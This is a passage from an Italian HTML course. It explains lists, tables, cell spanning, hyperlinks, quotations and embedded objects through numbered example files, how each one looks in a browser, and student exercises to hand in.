Si completi l'intestazione, coerentemente, secondo il proprio criterio, seguendo le modalità già stabilite. Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore;
2. la stampa del sorgente.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti, siano terminati correttamente con il marcatore di chiusura.

67.5 Elenchi

Esistono tre tipi di elenchi: puntato, numerato e descrittivo. Gli elenchi puntati e quelli numerati condividono una struttura simile:

```
<UL>
<LI>
    ...
</LI>
...
</UL>
```

```
<OL>
<LI>
    ...
</LI>
...
</OL>
```

Gli elenchi puntati sono delimitati dall'elemento '**UL**' (*Unordered list*), mentre quelli numerati dall'elemento '**OL**' (*Ordered list*). Questi elementi contengono uno o più elementi '**LI**', che possono contenere testo lineare, oppure uno o più blocchi (per esempio possono contenere dei sottoelenchi).

Figura 67.31. Struttura dell'elenco puntato con un esempio.

elenco puntato (unordered list)

<UL>

voce (list item)

<LI> contenuto della voce

<P>Bla bla bla bla...</P>

</LI>

voce (list item)

<LI> contenuto della voce

<P>Bla bla bla bla...</P>

</LI>

</UL>

elenco puntato (unordered list)

voce (list item)

contenuto della voce

● Bla bla bla bla...

voce (list item)

contenuto della voce

● Bla bla bla bla...

Figura 67.32. Struttura dell'elenco numerato con un esempio.

elenco numerato (ordered list)

<OL>

voce (list item)

<LI> contenuto della voce

<P>Bla bla bla bla...</P>

</LI>

voce (list item)

<LI> contenuto della voce

<P>Bla bla bla bla...</P>

</LI>

</OL>

elenco numerato (ordered list)

voce (list item)

contenuto della voce

1 Bla bla bla bla...

voce (list item)

contenuto della voce

2 Bla bla bla bla...

Per evitare ambiguità, conviene usare sempre dei blocchi per il contenuto degli elementi '**LI**', altrimenti, per l'abitudine, si rischia di pretendere di spezzare un testo lineare con un paragrafo o con un altro blocco che non può essere ammissibile in tale contesto.

Gli elenchi descrittivi sono più complessi e sono delimitati esternamente dall'elemento '**DL**'

(*Definition list*), che contiene elementi '**DT**' (*Definition term*) e '**DD**' (*Definition description*):

```
<DL>
<DT>termine</DT>
    <DD>
        descrizione
    </DD>
    ...
</DL>
```

Il contenuto dell'elemento '**DT**' è del testo lineare, mentre '**DD**' può contenere sia testo lineare, sia dei blocchi. Anche in questo caso, per evitare ambiguità, è meglio usare sempre solo dei blocchi.

Figura 67.33. Struttura dell'elenco descrittivo con un esempio.

elenco descrittivo (definition list)
<DL>
voce (definition term)
<DT>alfa</DT>
descrizione (definition description)
<DD>
contenuto
<P>Bla bla bla bla...</P>
<DD>
voce (definition term)
<DT>beta</DT>
descrizione (definition description)
<DD>
contenuto
<P>Bla bla bla bla...</P>
<DD>
</DL>

elenco descrittivo (definition list)
alfa
voce (definition term)
descrizione
contenuto
Bla bla bla bla...
beta
voce (definition term)
descrizione
contenuto
Bla bla bla bla...

67.5.1 File «elenchi-01.html»

Si crei il file '`elenchi-01.html`' con il contenuto seguente:

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Elenchi con HTML, esempio 01">
6      <META NAME="Keywords" CONTENT="HTML, elenco, elenchi, esempio">
7      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
8      <META NAME="Date" CONTENT="2010.01.01">
9      <META NAME="Resource-type" LANG="en" CONTENT="Document">
10     <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
11     <META NAME="Robots" CONTENT="ALL">
12     <TITLE>Elenchi</TITLE>
13 </HEAD>
```

```
14  <BODY>
15
16  <H1>Attivo</H1>
17
18  <DL>
19  <DT>A</DT>
20      <DD>
21
22          <P>Crediti verso i soci per versamenti ancora dovuti</P>
23
24      </DD>
25  <DT>B</DT>
26      <DD>
27
28          <P>Immobilizzazioni</P>
29
30          <UL>
31          <LI>
32
33              <P>I - Immobilizzazioni immateriali</P>
34
35              <OL>
36              <LI>
37
38                  <P>costi di impianto e di ampliamento</P>
39
40              </LI>
41              <LI>
42
43                  <P>costi di ricerca, di sviluppo e di
44                  pubblicit&agrave;</P>
45
46              </LI>
47              <LI>
48
49                  <P>diritti di brevetto industriale e diritti di
50                  utilizzazione delle opere dell'ingegno</P>
51
52              </LI>
53              <LI>
54
55                  <P>concessioni, licenze, marchi e diritti simili</P>
56
57              </LI>
58              <LI>
59
60                  <P>avviamento</P>
61
62              </LI>
63              <LI>
64
65                  <P>immobilizzazioni immateriali in corso e acconti</P>
66
```

```
67                  </LI>
68                  <LI>
69
70                      <P>altre immobilizzazioni immateriali</P>
71
72                  </LI>
73                  </OL>
74
75              </LI>
76              <LI>
77
78                  <P>II - Immobilizzazioni materiali</P>
79
80                  <OL>
81                  <LI>
82
83                      <P>terreni e fabbricati</P>
84
85                  </LI>
86                  <LI>
87
88                      <P>[...]</P>
89
90                  </LI>
91                  </OL>
92
93              </LI>
94              <LI>
95
96                  <P>[...]</P>
97
98              </LI>
99              </UL>
100
101         </DD>
102     </DL>
103
104     </BODY>
105     </HTML>
```

Il file ‘elenchi-01.html’ contiene un elenco descrittivo tra le righe 18 e 102. All’interno, in corrispondenza della seconda voce dell’elenco descrittivo, compare un elenco puntato (dalla riga 30 alla riga 99); infine, all’interno delle voci dell’elenco puntato appaiono degli elenchi numerati.

Figura 67.35. Aspetto del file '`elenchi-01.html`' con un navigatore.

Attivo

A

Crediti verso i soci per versamenti ancora dovuti

B

Immobilizzazioni

- I - Immobilizzazioni immateriali
  1. costi di impianto e di ampliamento
  2. costi di ricerca, di sviluppo e di pubblicità
  3. diritti di brevetto industriale e diritti di utilizzazione delle opere dell'ingegno
  4. concessioni, licenze, marchi e diritti simili
  5. avviamento
  6. immobilizzazioni immateriali in corso e acconti
  7. altre immobilizzazioni immateriali
- II - Immobilizzazioni materiali
  1. terreni e fabbricati
  2. [...]
- [...]

67.5.2 Verifica sull'uso degli elenchi

In base a quanto appreso fino a questo punto, si realizzi il file '`verifica-elenchi-01.html`' che produca un risultato abbastanza simile a quello seguente, quando viene visto attraverso un navigatore:

Passivo

[...]

Fondi per rischi e oneri:

1. fondo per trattamento di quiescenza e obblighi simili;
2. fondo per imposte;
3. altri fondi per rischi e oneri futuri;

Trattamento di fine rapporto di lavoro

Debiti:

1. obbligazioni non convertibili;
2. obbligazioni convertibili;
3. debiti verso banche;
4. [...]

Si completi l'intestazione, coerentemente, secondo il proprio criterio, seguendo le modalità già stabilite. Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore;

2. la stampa del sorgente.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti, siano terminati correttamente con il marcatore di chiusura.

67.6 Tabelle

La tabella è definita dall'elemento '**`TABLE`**'; al suo interno può essere inclusa una didascalia rappresentata dall'elemento '**`CAPTION`**', quindi il contenuto della tabella viene distinto in intestazione, piede e corpo, all'interno dei quali si inseriscono le righe della tabella stessa.

Figura 67.37. Esempio di una tabella.

Codice RGB	Denominazione	intestazione
255,0,0	Rosso	
0,255,0	Verde	corpo
0,0,255	Blu	
Codice RGB	Denominazione	piede

L'intestazione e il piede non sono obbligatori; in ogni caso, se si utilizzano vanno inseriti ordinatamente prima del corpo. Se non si indica l'intestazione o il piede, le righe che costituiscono il corpo vanno delimitate ugualmente tra i marcatori che rappresentano l'elemento corrispondente.

> Lo standard ISO 15445 obbliga all'utilizzo dell'attributo '**`SUMMARY`**' nell'elemento '**`TABLE`**'. Questo attributo dovrebbe permettere di riassumere il contenuto della tabella per quelle situazioni in cui dovesse essere impossibile consultarla correttamente.

Tabella 67.38. Elementi da usare per la realizzazione delle tabelle HTML.

Elemento	Significato
TABLE	Delimita la tabella.
CAPTION	Didascalia.
THEAD	Righe di intestazione.
TFOOT	Righe del piede.
TBODY	Righe del corpo.
TR	Riga normale (*table row*).
TH	Elemento evidenziato di una riga (*table head*).
TD	Elemento di una riga (*table data*).

L'esempio seguente rappresenta una tabella molto banale, senza intestazione e senza piede:

```
<TABLE SUMMARY="uno due tre quattro cinque sei">
<TBODY>
    <TR><TD><P>uno</P></TD><TD><P>due</P></TD></TR>
    <TR><TD><P>tre</P></TD><TD><P>quattro</P></TD></TR>
    <TR><TD><P>cinque</P></TD><TD><P>sei</P></TD></TR>
</TBODY>
</TABLE>
```

Il risultato è uno specchietto simile a quello che si vede di seguito:

uno	due
tre	quattro
cinque	sei

L'esempio seguente mostra l'aggiunta di una riga di intestazione:

```
<TABLE SUMMARY="uno due tre quattro cinque sei">
<THEAD>
    <TR><TD><P>Primo</P></TD><TD><P>Secondo</P></TD></TR>
</THEAD>
<TBODY>
    <TR><TD><P>uno</P></TD><TD><P>due</P></TD></TR>
    <TR><TD><P>tre</P></TD><TD><P>quattro</P></TD></TR>
    <TR><TD><P>cinque</P></TD><TD><P>sei</P></TD></TR>
</TBODY>
</TABLE>
```

Primo	Secondo
uno	due
tre	quattro
cinque	sei

L'esempio seguente aggiunge anche una didascalia molto breve:

```
<TABLE SUMMARY="uno due tre quattro cinque sei">
<CAPTION>Tabella banale</CAPTION>
<THEAD>
    <TR><TD><P>Primo</P></TD><TD><P>Secondo</P></TD></TR>
</THEAD>
<TBODY>
    <TR><TD><P>uno</P></TD><TD><P>due</P></TD></TR>
    <TR><TD><P>tre</P></TD><TD><P>quattro</P></TD></TR>
    <TR><TD><P>cinque</P></TD><TD><P>sei</P></TD></TR>
</TBODY>
</TABLE>
```

Tabella banale

Primo	Secondo
uno	due
tre	quattro
cinque	sei

Le tabelle HTML possono essere molto più complesse di quanto è stato mostrato qui. Vale la pena di sottolineare il fatto che gli elementi '**TD**', ovvero le celle all'interno delle righe, possono contenere sia testo normale, sia blocchi di testo, ma qui, come negli altri capitoli di queste lezioni, si preferisce usare sempre solo blocchi.

Lo standard ISO 15445 non consente l'utilizzo di attributi per la descrizione dei bordi da far risaltare, perché per questo si possono applicare degli stili, pertanto, inizialmente si ottengono solo tabelle prive di linee di contorno.

67.6.1 File «tabelle-01.html»

Si crei il file 'tabelle-01.html' con il contenuto seguente:

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Tabelle con HTML, esempio 01">
6      <META NAME="Keywords" CONTENT="HTML, tabella, tabelle, esempio">
7      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
8      <META NAME="Date" CONTENT="2010.01.01">
9      <META NAME="Resource-type" LANG="en" CONTENT="Document">
10     <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
11     <META NAME="Robots" CONTENT="ALL">
12     <TITLE>Tabelle</TITLE>
13 </HEAD>
```

```
14  <BODY>
15
16  <H1>Operatori</H1>
17
18  <P>Segue una tabella contenente l’elenco degli operatori matematici
19  pi&ugrave; comuni.</P>
20
21  <TABLE SUMMARY="operatori">
22  <CAPTION>Operatori matematici comuni</CAPTION>
23  <THEAD>
24      <TR>
25      <TD><P>Operatore e operandi</P></TD>
26      <TD><P>Operazione</P></TD>
27      <TD><P>Descrizione</P></TD>
28      </TR>
29  </THEAD>
30  <TBODY>
31      <TR>
32      <TD><P><CODE><VAR>op1</VAR>+<VAR>op2</VAR></CODE></P></TD>
33      <TD><P>somma</P></TD>
34      <TD><P>Somma i due operandi.</P></TD>
35      </TR>
36      <TR>
37      <TD><P><CODE><VAR>op1</VAR>-<VAR>op2</VAR></CODE></P></TD>
38      <TD><P>sottrazione</P></TD>
39      <TD><P>Sottrae il valore del secondo operando
40          da quello del primo.</P></TD>
41      </TR>
42      <TR>
43      <TD><P><CODE><VAR>op1</VAR>*<VAR>op2</VAR></CODE></P></TD>
44      <TD><P>moltiplicazione</P></TD>
45      <TD><P>Moltiplica i due operandi.</P></TD>
46      </TR>
47      <TR>
48      <TD><P><CODE><VAR>op1</VAR>/<VAR>op2</VAR></CODE></P></TD>
49      <TD><P>divisione</P></TD>
50      <TD><P>Divide il primo operando per il valore del secondo.</P></TD>
51      </TR>
52  </TBODY>
53  </TABLE>
54
55  </BODY>
56  </HTML>
```

Nel risultato che si ottiene attraverso un navigatore comune, sono assenti i bordi e non si distinguono le intestazioni dalle altre righe.

Figura 67.46. Aspetto del file 'tabelle-01.html' con un navigatore.

Operatori

Segue una tabella contenente l'elenco degli operatori matematici più comuni.

Operatori matematici comuni

Operatore e operandi	Operazione	Descrizione
op1+*op2*	somma	Somma i due operandi.
op1-*op2*	sottrazione	Sottrae il valore del secondo operando da quello del primo.
*op1***op2*	moltiplicazione	Moltiplica i due operandi.
op1/*op2*	divisione	Divide il primo operando per il valore del secondo.

67.6.2 File «tabelle-02.html»

Per esercizio, si salvi il file anche con il nome 'tabelle-02.html' e quindi lo si modifichi, in modo da usare l'elemento '**TH**' quando ciò è appropriato, in modo da ottenere un risultato simile a quello seguente:

Operatori

Segue una tabella contenente l'elenco degli operatori matematici più comuni.

Operatori matematici comuni

Operatore e operandi	**Operazione**	**Descrizione**
op1+*op2*	somma	Somma i due operandi.
op1-*op2*	sottrazione	Sottrae il valore del secondo operando da quello del primo.
*op1***op2*	moltiplicazione	Moltiplica i due operandi.
op1/*op2*	divisione	Divide il primo operando per il valore del secondo.

67.6.3 Verifica sull'uso di tabelle elementari

In base a quanto appreso fino a questo punto, si realizzi il file 'verifica-tabelle-01.html' che produca un risultato abbastanza simile a quello seguente, quando viene visto attraverso un navigatore:

ASCII

Una piccola porzione del codice ASCII.

Ottale	Decimale	Esadecimale	Carattere
141_8	97	61_{16}	a
142_8	98	62_{16}	b
143_8	99	63_{16}	c
144_8	100	64_{16}	d
145_8	101	65_{16}	e
146_8	102	66_{16}	f
147_8	103	67_{16}	g
150_8	104	68_{16}	h
151_8	105	69_{16}	i
152_8	106	$6A_{16}$	j

Si completi l'intestazione, coerentemente, secondo il proprio criterio, seguendo le modalità già stabilite. Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore;
2. la stampa del sorgente.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti, siano terminati correttamente con il marcatore di chiusura.

67.7 Tabelle complesse

È possibile costruire tabelle un po' più complesse, utilizzando gli attributi '**`COLSPAN`**' e '**`ROWSPAN`**' degli elementi '**`TD`**' e '**`TH`**'.

Si può immaginare che ogni cella di una tabella possa espandersi orizzontalmente (verso destra) e verticalmente (verso il basso), ma in condizioni normali, ogni cella si espande orizzontalmente e verticalmente di una sola cella.

Quando una cella si espande oltre il proprio spazio, va a occupare quello delle celle adiacenti, che non devono essere dichiarate.

67.7.1 File «tabelle-03.html»

Per esercizio, si riprenda il file '`tabelle-02.html`' e lo si salvi con il nome '`tabelle-03.html`', modificandolo nel modo seguente:

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Tabelle complesse con HTML,
6          esempio 01">
7      <META NAME="Keywords" CONTENT="HTML, tabella, tabelle, esempio">
8      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
9      <META NAME="Date" CONTENT="2010.01.01">
10     <META NAME="Resource-type" LANG="en" CONTENT="Document">
11     <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
12     <META NAME="Robots" CONTENT="ALL">
13     <TITLE>Tabelle</TITLE>
14 </HEAD>
15 <BODY>
16
17 <H1>Operatori</H1>
18
19 <P>Segue una tabella contenente l'elenco degli operatori matematici
20 pi&ugrave; comuni.</P>
21
22 <TABLE SUMMARY="operatori">
23 <CAPTION>Operatori matematici comuni</CAPTION>
24 <THEAD>
25     <TR>
26     <TH></TH>
27     <TH ROWSPAN="2"><P>Operatore e operandi</P></TH>
28     <TH COLSPAN="2"><P>Annotazioni</P></TH>
29     </TR>
30     <TR>
31     <TH></TH>
32     <TH><P>Operazione</P></TH>
33     <TH><P>Descrizione</P></TH>
34     </TR>
35 </THEAD>
36 <TBODY>
37     <TR>
38     <TH ROWSPAN="4"><P>le quattro operazioni</P></TH>
39     <TD><P><CODE><VAR>op1</VAR>+<VAR>op2</VAR></CODE></P></TD>
40     <TD><P>somma</P></TD>
41     <TD><P>Somma i due operandi.</P></TD>
42     </TR>
43     <TR>
44     <TD><P><CODE><VAR>op1</VAR>-<VAR>op2</VAR></CODE></P></TD>
45     <TD><P>sottrazione</P></TD>
46     <TD><P>Sottrae il valore del secondo operando
47         da quello del primo.</P></TD>
48     </TR>
49     <TR>
```

```
50        <TD><P><CODE><VAR>op1</VAR>*<VAR>op2</VAR></CODE></P></TD>
51        <TD><P>moltiplicazione</P></TD>
52        <TD><P>Moltiplica i due operandi.</P></TD>
53        </TR>
54        <TR>
55        <TD><P><CODE><VAR>op1</VAR>/<VAR>op2</VAR></CODE></P></TD>
56        <TD><P>divisione</P></TD>
57        <TD><P>Divide il primo operando per il valore del secondo.</P></TD>
58        </TR>
59    </TBODY>
60    </TABLE>
61
62    </BODY>
63    </HTML>
```

Nel risultato si può osservare che è stata aggiunta una colonna, che nel corpo si mostra come una cella unica, usata come intestazione delle righe; inoltre, nell'intestazione superiore la cella contenente la stringa «Operatore e operandi» si espande in basso occupando lo spazio della cella inferiore, mentre la cella contenente la stringa «Annotazioni» occupa anche lo spazio della cella successiva a destra.

Figura 67.50. Aspetto del file '`tabelle-03.html`'. Per facilitare l'individuazione delle aree occupate dalle celle, è stato aggiunto un bordo attorno a ogni cella.

Operatori

Segue una tabella contenente l'elenco degli operatori matematici più comuni.

Operatori matematici comuni

	Operatore e operandi	**Annotazioni**	
		Operazione	**Descrizione**
le quattro operazioni	*op1*+*op2*	somma	Somma i due operandi.
	op1-*op2*	sottrazione	Sottrae il valore del secondo operando da quello del primo.
	*op1***op2*	moltiplicazione	Moltiplica i due operandi.
	op1/*op2*	divisione	Divide il primo operando per il valore del secondo.

67.7.2 Verifica sull'uso di tabelle complesse

In base a quanto appreso fino a questo punto, si realizzi il file '`verifica-tabelle-complesse-01.html`' che produca un risultato abbastanza simile a quello seguente, quando viene visto attraverso un navigatore. Per facilitare l'interpretazione dell'immagine, sono stati inseriti i bordi attorno alla tabella, ma la verifica richiede la produzione di una tabella normale, senza bordi:

ASCII

Una piccola porzione del codice ASCII.

Codifica			Carattere
Ottale	Decimale	Esadecimale	
141_8	97	61_{16}	a
142_8	98	62_{16}	b
143_8	99	63_{16}	c
144_8	100	64_{16}	d
145_8	101	65_{16}	e
146_8	102	66_{16}	f
147_8	103	67_{16}	g
150_8	104	68_{16}	h
151_8	105	69_{16}	i
152_8	106	$6A_{16}$	j

Si completi l'intestazione, coerentemente, secondo il proprio criterio, seguendo le modalità già stabilite. Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore;
2. la stampa del sorgente.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti, siano terminati correttamente con il marcatore di chiusura.

67.8 Riferimenti ipertestuali

La sigla HTML fa riferimento esplicitamente a un sistema ipertestuale (*Hypertext markup language*), pertanto, la realizzazione di collegamenti del genere è una funzionalità essenziale di questo tipo di documento.

Un riferimento ipertestuale può essere fatto a una pagina intera o a un punto particolare di una pagina. Il riferimento può essere assoluto, cioè provvisto dell'indicazione del nodo e del percorso necessario a raggiungere la pagina, oppure può essere relativo al nodo attuale, oppure anche relativo al percorso stesso della pagina da cui parte il riferimento.

Per i riferimenti ipertestuali si utilizza l'elemento '**`A`**' ed eventualmente l'attributo '**`ID`**' di molti altri elementi.

Un riferimento a una pagina intera, con l'indicazione del percorso assoluto per raggiungerla, viene fatto come nell'esempio seguente:

```
<A HREF="http://www.brot.dg/prove/prova.html">Pagina di prova</A>
```

Nell'esempio, la frase «Pagina di prova» serve come riferimento a 'http://www.brot.dg/prove/prova.html'.

Quando di realizza un documento HTML composto da più pagine collegate tra loro, è preferibile utilizzare riferimenti relativi, in modo da non dover indicare il nome del nodo in cui si trovano e nemmeno il percorso assoluto delle directory da attraversare per raggiungerle.

```
<A HREF="varie/nota.html">Annotazioni varie</A>
```

Nell'esempio, si vede un riferimento al file 'nota.html' contenuto nella «directory» 'varie/' discendente dalla directory corrente. La directory corrente, in questi casi, è quella in cui si trova la pagina contenente il puntatore.

All'interno di una pagina è possibile collocare delle etichette che poi possono servire per fare dei riferimenti, sia a partire dalla stessa pagina, sia da altre. L'esempio seguente mostra una situazione molto semplice:

```
<A NAME="introduzione"></A>
```

Si usa quindi lo stesso elemento che serve per creare un puntatore, ma con l'attributo '**NAME**'. L'argomento dell'attributo '**NAME**' (in questo caso è la parola '**introduzione**') identifica quel punto.

Per fare riferimento a un'etichetta nella stessa pagina si può usare la forma dell'esempio seguente, con il quale si vuole puntare all'etichetta appena creata.

```
<A HREF="#introduzione">Introduzione</A>
```

Si utilizza l'attributo '**HREF**' come al solito, ma il suo argomento è il nome dell'etichetta preceduta dal simbolo '**#**'. Evidentemente, ciò è necessario per evitare di fare riferimento a un file con lo stesso nome.

Se si vuole fare riferimento a un'etichetta di un certo file, si utilizza la notazione solita, aggiungendo l'indicazione dell'etichetta:

```
<A HREF="http://www.brot.dg/varie/linux.html#introduzione">Introduzione
a GNU/Linux</A>
```

67.8.1 File «riferimenti-01.html»

Si realizzi il file 'riferimenti-01.html' con il contenuto seguente:

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Riferimenti ipertestuali,
6          esempio 01">
7      <META NAME="Keywords" CONTENT="HTML, riferimento, riferimenti,
8          esempio">
9      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
10     <META NAME="Date" CONTENT="2010.01.01">
```

```
11      <META NAME="Resource-type" LANG="en" CONTENT="Document">
12      <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
13      <META NAME="Robots" CONTENT="ALL">
14      <TITLE>Tabelle</TITLE>
15  </HEAD>
16  <BODY>
17
18  <H1><A NAME="indice">Indice</A></H1>
19
20  <OL>
21  <LI>
22
23      <P><A HREF="#libri">libri</A></P>
24
25  </LI>
26  <LI>
27
28      <P><A HREF="#perditempo">perditempo</A></P>
29
30  </LI>
31  </OL>
32
33  <H1><A NAME="libri">Libri</A></H1>
34
35  <UL>
36  <LI>
37
38      <P><A HREF="http://www.liberliber.it">Liber Liber</A></P>
39
40  </LI>
41  <LI>
42
43      <P><A HREF="http://www.gnutemberg.org">GNUtemberg!</A></P>
44
45  </LI>
46  <LI>
47
48      <P><A HREF="http://www.free-book.co.uk">Free-book.co.uk: the
49      directory of free online books</A></P>
50
51  </LI>
52  </UL>
53
54  <P><A HREF="riferimenti-01.html">inizio</A> : <A
55  HREF="#indice">indice</A></P>
56
57  <H1><A NAME="perditempo">Perditempo</A></H1>
58
59  <P>[...]</P>
60
61  <P><A HREF="riferimenti-01.html">inizio</A> : <A
62  HREF="#indice">indice</A></P>
63
```

```
64 </BODY>
65 </HTML>
```

Come si può osservare, sono presenti riferimenti interni al testo e riferimenti esterni. I riferimenti esterni, sono assoluti e devono specificare anche il protocollo di comunicazione (`http://`...); oltre ai riferimenti interni fatti a delle etichette, sono presenti dei riferimenti relativi allo stesso file (a titolo di esempio).

Figura 67.58. Aspetto del file '`riferimenti-01.html`'.

Indice

1. libri
2. perditempo

Libri

- Liber Liber
- GNUtemberg!
- Free-book.co.uk: the directory of free online books

inizio : indice

Perditempo

[...]

inizio : indice

67.8.2 Verifica sull'uso dei riferimenti ipertestuali

«

In base a quanto appreso fino a questo punto, si realizzi un sistema simile a quello del file '`riferimenti-01.html`', composto dai file: '`verifica-riferimenti-01-indice.html`', '`verifica-riferimenti-01-libri.html`', '`verifica-riferimenti-01-perditempo.html`'. I contenuti di questi file devono riportare rispettivamente l'indice, l'elenco dei libri e del «perditempo», come già avviene nel file '`riferimenti-01.html`', ma in modo separato. I riferimenti tra questi file devono essere relativi; si osservi che la voce «inizio» deve portare all'inizio dei file stessi e non alla pagina dell'indice.

Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore dei tre file;
2. la stampa del sorgente dei tre file.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti, siano terminati correttamente con il marcatore di chiusura.

67.9 Citazioni

Per la scrittura di una citazione, sono previsti due elementi: '**BLOCKQUOTE**' e '**Q**'. Il primo dei due, come suggerisce il nome, è un blocco e può contenere blocchi, mentre il secondo si inserisce nel testo lineare e può contenere solo testo lineare.

I due elementi '**BLOCKQUOTE**' e '**Q**' sono accomunati dalla disponibilità dell'attributo '**CITE**', con il quale si può specificare un indirizzo URI dove trovare il documento originale.

67.9.1 File «citazioni-01.html»

Si realizzi il file '`citazioni-01.html`' con il contenuto seguente:

```
1   <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2   <HTML LANG="it">
3   <HEAD>
4       <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5       <META NAME="Description" CONTENT="Citazioni, esempio 01">
6       <META NAME="Keywords" CONTENT="HTML, citazione, citazioni, esempio">
7       <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
8       <META NAME="Date" CONTENT="2010.01.01">
9       <META NAME="Resource-type" LANG="en" CONTENT="Document">
10      <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
11      <META NAME="Robots" CONTENT="ALL">
12      <TITLE>Citazioni</TITLE>
13  </HEAD>
14  <BODY>
15
16  <H1>Licenza GNU GPL</H1>
17
18  <P>La licenza GNU GPL, all'articolo tre riporta in particolare quanto
19  segue:</P>
20
21  <BLOCKQUOTE CITE="http://www.gnu.org/licenses/gpl.html">
22
23      <P>3. You may copy and distribute the Program (or a work based on
24      it, under Section 2) in object code or executable form under the
25      terms of Sections 1 and 2 above provided that you also do one of the
26      following:</P>
27
28      <P>[<EM>omissis</EM>]</P>
29
30      <P>c) Accompany it with the information you received as to the offer
31      to distribute corresponding source code. (This alternative is
32      allowed only for noncommercial distribution and only if you received
33      the program in object code or executable form with such an offer, in
34      accord with Subsection b above.)</P>
35
36  </BLOCKQUOTE>
37
38  <P>Subito dopo, compare la frase: <Q
39  CITE="http://www.gnu.org/licenses/gpl.html">The source code for a work
40  means the preferred form of the work for making modifications to
```

```
41  it</Q>.</P>
42
43  </BODY>
44  </HTML>
```

Nella figura successiva si vede il risultato che si dovrebbe ottenere attraverso un navigatore. Se il navigatore è abbastanza evoluto (per esempio si può provare con Amaya), dalle citazioni si arriva al documento originale presso ⟨*http://www.gnu.org/licenses/gpl.html*⟩ (con Amaya è sufficiente fare un clic doppio quando il puntatore del mouse è sulla superficie del testo relativo).

Figura 67.60. Aspetto del file '`citazioni-01.html`'.

Licenza GNU GPL

La licenza GNU GPL, all'articolo tre riporta in particolare quanto segue:

> 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:
>
> [*omissis*]
>
> c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)

Subito dopo, compare la frase: «The source code for a work means the preferred form of the work for making modifications to it».

67.10 Inserzione di oggetti

Un documento HTML può contenere riferimenti a componenti esterni, che però devono concorrere alla realizzazione del documento finale, così come viene reso dal navigatore. Nei casi più comuni si tratta di immagini o di applicazioni grafiche (spesso si tratta di applicazioni Java o Flash), ma il concetto riguarda qualunque altra cosa che possa essere incorporata nel documento. L'elemento attraverso cui si includono gli oggetti è '**`OBJECT`**'. La tabella successiva elenca alcuni degli attributi di questo elemento.

Tabella 67.61. Alcuni attributi dell'elemento '**`OBJECT`**'.

Attributo	Significato
DATA	Riferimento al file dell'oggetto.
TYPE	Tipo di oggetto.
STANDBY	Messaggio di attesa durante il caricamento dell'oggetto.

L'attributo '**`DATA`**' è indispensabile; inoltre, in generale è opportuno aggiungere anche l'attributo '**`TYPE`**' per precisare subito il tipo di oggetto.

L'elemento '**`OBJECT`**' non può essere vuoto; ciò che racchiude è quanto deve essere mostrato nel caso non sia possibile raggiungere l'oggetto indicato, oppure non sia possibile gestire l'oggetto stesso. Di solito si tratta di testo normale, ma potrebbe trattarsi di altri oggetti alternativi.

Nel caso particolare dell'incorporazione di immagini, per l'esigenza di mantenere la compa-

tibilità con il passato, rimane disponibile l'elemento '**IMG**', che richiede l'uso dell'attributo '**SRC**' per specificare la posizione del file da visualizzare e permette di usare l'attributo '**ALT**' per annotare un testo da mostrare in mancanza della possibilità di visualizzare l'immagine. A differenza dell'elemento '**OBJECT**', l'elemento '**IMG**' è vuoto.

Sia l'elemento '**OBJECT**', sia l'elemento '**IMG**' si utilizzano in un contesto lineare.

> Gli oggetti che si inseriscono in un documento HTML devono essere visualizzati, o comunque interpretati dal navigatore. Quando si realizzano documenti (anche pubblicitari), che devono essere rivolti alla maggiore quantità di utenti possibili, occorre valutare la diffusione del formato degli oggetti che si vogliono inserire, per evitare di escludere gli utenti che non dispongono del software necessario. A titolo di esempio, si consideri che gli interpreti Java e Flash, necessari a eseguire le applicazioni rispettive, non sono distribuiti come software libero, pertanto, chi utilizza soltanto software libero non può visualizzare tali applicazioni (o quantomeno non può farlo in modo completo).

67.10.1 File «oggetti-01.html»

